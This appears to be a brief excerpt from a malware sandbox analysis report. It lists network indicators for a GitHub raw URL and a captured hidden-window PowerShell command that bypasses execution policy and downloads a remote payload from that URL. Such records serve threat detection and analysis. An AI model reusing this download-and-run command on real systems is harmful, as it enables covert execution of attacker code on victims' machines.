Technical Information
- https://raw.githubusercontent.com/yobejayiy/refactored-umbrella/master/32.conf
- 'ra#.####ubusercontent.com':443
- 'ra#.####ubusercontent.com':443
- DNS ASK ra#.####ubusercontent.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq4) {(new-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/yobejayiy/refactored-umb...' (with hidden window)